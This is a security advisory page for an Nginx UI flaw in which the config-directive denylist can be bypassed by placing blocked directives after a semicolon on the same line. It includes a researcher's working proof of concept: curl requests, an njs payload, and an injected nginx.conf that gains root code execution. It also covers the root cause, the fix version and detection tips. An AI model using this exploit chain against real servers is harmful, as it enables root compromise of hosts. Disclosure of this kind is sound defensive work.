CVE-2026-84316: Nginx UI: nginx config directive denylist (ValidateConfigFile) is bypassable via same-line ";" separation → authenticated directive injection (RCE on the official image)

Published Oct 12, 2026
·
Updated

Summary config.ValidateConfigFile is the security control that blocks dangerous nginx directives (js, perl, loadmodule of njs/perl modules, user root). Its directive scanner is bypassable: it splits the config by newlines and inspects only the FIRST token of each line, but nginx separates directives with ;, not newlines. Putting a benign directive first and the blocked directive after a ; on the SAME line defeats every check. The include directive is also not on the denylist. As a result, an authenticated caller can inject the exact directives the hardening was meant to block, through EVERY path that calls the validator — POST /api/configs (add), the REST config modify endpoint (api/config/modify.go), the MCP nginxconfigmodify tool, and the site/stream save paths (internal/site/save.go, internal/stream/save.go). On deployments where nginx has the njs/perl module (the official uozi/nginx-ui Docker image ships ngxhttpjsmodule.so), this leads to code execution in the nginx worker; with user root the workers run as root.

This is distinct from the configadd gap (the MCP nginxconfigadd tool not calling the validator at all): here the validator IS called and still bypassed, so fixing configadd does not fix this.

Root cause (internal/config/validation.go, ValidateConfigDirectives) go for , line := range bytes.Split(content, []byte("\n")) { // splits on \n only trimmed := strings.TrimSpace(string(line)) ... directive := firstDirectiveToken(trimmed) // first [a-zA-Z] of the line if directive == "user" && configuresRootWorkers(trimmed) { ... } // keyed on first token if directive == "loadmodule" && loadsRestrictedDynamicModule(...) { ... } // keyed on first token if , blocked := blockedConfigDirectives[directive]; blocked { ... } // keyed on first token } nginx parses a 1; b 2; on one line as two directives, but this scanner only ever sees a. include is absent from blockedConfigDirectives.

Proof of Concept (live, official image uozi/nginx-ui:2.3.11) — VALIDATED paths only Authenticated with a node secret (X-Node-Secret, from nginx-ui's first-boot log) or a user JWT. Every step below hits a path that calls ValidateConfigFile.

1) Baseline — validator works on a plain line: curl -X POST http://HOST/api/configs -H "X-Node-Secret: $S" -H 'Content-Type: application/json' \ -d '{"name":"x.conf","basedir":"","content":"jsimport a.js;","overwrite":true}' -> 40017 "file content contains restricted nginx directive: jsimport" (REJECTED)

2) Create the njs module file via the VALIDATED REST add (JS source is not nginx directives, so it passes ValidateConfigContent): poc.conf: import fs from 'fs'; function pwn(r){ fs.writeFileSync('/tmp/NJSVIADENYLISTBYPASS.txt','denylist-bypass-rce-ok\n'); r.return(200,'pwned2\n'); } export default { pwn }; curl -X POST http://HOST/api/configs -H "X-Node-Secret: $S" -H 'Content-Type: application/json' \ -d '{"name":"poc.conf","basedir":"","content":"<the JS above>","overwrite":true}' # ACCEPTED

3) Overwrite the main nginx.conf via the VALIDATED nginxconfigmodify MCP tool, smuggling each blocked directive after a benign one on the SAME line (this is ACCEPTED by ValidateConfigFile): nginx workerprocesses 1; loadmodule /usr/lib/nginx/modules/ngxhttpjsmodule.so; errorlog /var/log/nginx/error.log notice; user root; pid /run/nginx.pid; events { workerconnections 1024; } http { include /etc/nginx/mime.types; defaulttype application/octet-stream; jsimport poc from /etc/nginx/poc.conf; server { listen 8897; location = /pwn3 { jscontent poc.pwn; } } }

4) Reload. Result: - nginx -t successful. - worker /proc/<pid>/status → Uid: 0 0 0 0 (root) — the blocked user root took effect. - GET http://127.0.0.1:8897/pwn3 → pwned2 — jscontent executed. - /tmp/NJSVIADENYLISTBYPASS.txt created, owned by root → njs code execution as root.

(An MCP-over-SSE client for steps using nginxconfigmodify is included in the configadd report as pocmcpclient.py; the same client drives this PoC. X-Node-Secret authenticates both REST and MCP.)

Impact Authenticated config-injection that defeats the directive-validation control on all guarded write paths. On deployments with njs/perl available (the official Docker image ships ngxhttpjsmodule.so): code execution in the nginx worker and, via user root, arbitrary file read/write as root (trivially escalated to full host compromise). On stock nginx without those modules: reliable DoS (failed reload) plus user root privilege regression.

Honest scope / caveats - Authenticated (node secret or user JWT), agent-mediated — not unauthenticated. - What was live-verified: the bypass + full RCE on POST /api/configs (add) and the MCP nginxconfigmodify tool. The other callers — REST config modify (api/config/modify.go), site save (internal/site/save.go), stream save (internal/stream/save.go) — invoke the SAME ValidateConfigFile (code-confirmed), so they are affected by construction; I did not individually live-test each. - RCE is conditional on the njs/perl module being present; it ships in the official image, so the default Docker deployment is exploitable. On stock nginx without those modules the injected loadmodule/js make reload fail → DoS plus a user root privilege regression (inferred from nginx module behavior; not separately tested on a stock build). - The ; and include bypasses are fully confirmed live. A backslash line-continuation variant was accepted by the validator but its nginx parsing was not separately confirmed and is not relied on. - "Full host compromise" describes the capability of root file read/write via njs fs (proven: a root-owned file was written); the subsequent authorizedkeys/cron step is a well-known escalation, not something this PoC executed.

Suggested fix Do not hand-roll a newline/first-token denylist. Validate the way nginx parses: split statements on ; (and handle blocks, comments, line continuations), validate EVERY statement, block/limit include, and recurse into included files — or validate via an allowlist and/or by running nginx -t on the candidate before activating it.

Dedup / novelty Distinct from CVE-2026-33032 (unauthenticated MCP endpoint — an auth issue, now fixed) and from the separately reported configadd validation gap (a missing validator call on one path). This is a bypass of the validator itself, affecting every path that calls it; no existing CVE/GHSA covers it (checked osv.dev and the GitHub advisory database for this repo). Appears novel.

Other sources

Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, config.ValidateConfigDirectives splits configuration by newline and checks only the first directive token on each line even though Nginx permits multiple semicolon-separated directives on one line. An authenticated caller can place a benign directive first and a restricted loadmodule, jsimport, perl, or user root directive later on the same line, or can use an unrestricted include directive to load restricted content. These mechanisms bypass validation on REST, nginxconfigmodify, site, and stream write paths; when an executable module is available, the injected configuration can execute code in the Nginx worker context. This issue is fixed in version 2.4.1.

— NVD

Affected Software

2 affected componentsFixes available
Nginx UI Nginx UI<2.4.1
go/github.com/0xJacky/Nginx-UI<1.9.10-0.20260703131214-23d1934099b0
1.9.10-0.20260703131214-23d1934099b0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/0xJacky/Nginx-UI to a version that resolves this vulnerability.

    Fixed in 1.9.10-0.20260703131214-23d1934099b0
  2. Upgrade

    Upgrade Nginx UI to a version that resolves this vulnerability.

    Fixed in 2.4.1

Event History

Oct 12, 2026
CVE Published
via MITRE·09:05 PM
Data Sourced
via MITRE·09:05 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:17 PM
DescriptionSeverityWeakness
Oct 15, 2026
Advisory Published
via GitHub·08:13 PM
Data Sourced
via GitHub·08:13 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who can exploit this issue?

An authenticated Nginx UI caller who can use configuration-writing functionality is required. The affected write paths include REST, nginx_config_modify, site, and stream operations.

2

What conditions make code execution possible?

The validation bypass permits injection of restricted directives, including load_module, js_import, perl, and user root, as well as loading restricted content through an unrestricted include directive. Code execution in the Nginx worker context is possible when an executable module is available.

3

Which deployments are affected and what version fixes it?

Nginx UI versions prior to 2.4.1 are affected. Version 2.4.1 fixes the issue.

4

How can an administrator identify potentially malicious configuration changes?

Review configuration written through Nginx UI for multiple semicolon-separated directives on a single line, especially where a benign first directive is followed by load_module, js_import, perl, or user root. Also inspect include directives for loading content containing restricted directives.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203